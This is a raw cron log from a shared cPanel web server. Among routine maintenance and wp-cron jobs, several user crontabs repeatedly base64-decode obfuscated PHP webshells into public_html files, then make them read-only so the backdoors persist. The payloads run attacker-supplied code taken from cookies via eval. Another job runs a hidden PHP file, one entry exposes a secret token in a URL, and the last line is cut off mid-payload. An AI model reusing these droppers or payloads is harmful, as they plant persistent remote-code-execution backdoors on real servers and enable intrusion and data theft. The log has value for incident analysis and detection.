Jun  7 09:42:01 medusa CROND[31104]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:42:01 medusa CROND[31105]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:43:01 medusa CROND[32680]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 09:43:01 medusa CROND[32684]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:43:02 medusa CROND[32739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:43:02 medusa CROND[32740]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:43:02 medusa CROND[32742]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:43:02 medusa CROND[32741]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:43:02 medusa CROND[32743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:43:02 medusa CROND[32744]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:43:02 medusa CROND[32745]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:43:02 medusa CROND[32746]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:43:02 medusa CROND[32747]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Jun  7 09:43:02 medusa CROND[32748]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:43:02 medusa CROND[32755]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 09:43:02 medusa CROND[32757]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:44:01 medusa CROND[2206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:44:02 medusa CROND[2210]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:44:02 medusa CROND[2211]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:44:02 medusa CROND[2212]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 09:44:02 medusa CROND[2213]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:44:02 medusa CROND[2214]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:44:02 medusa CROND[2215]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:44:02 medusa CROND[2216]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:44:02 medusa CROND[2217]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:44:02 medusa CROND[2219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:44:02 medusa CROND[2222]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:44:02 medusa CROND[2225]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:44:02 medusa CROND[2220]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZ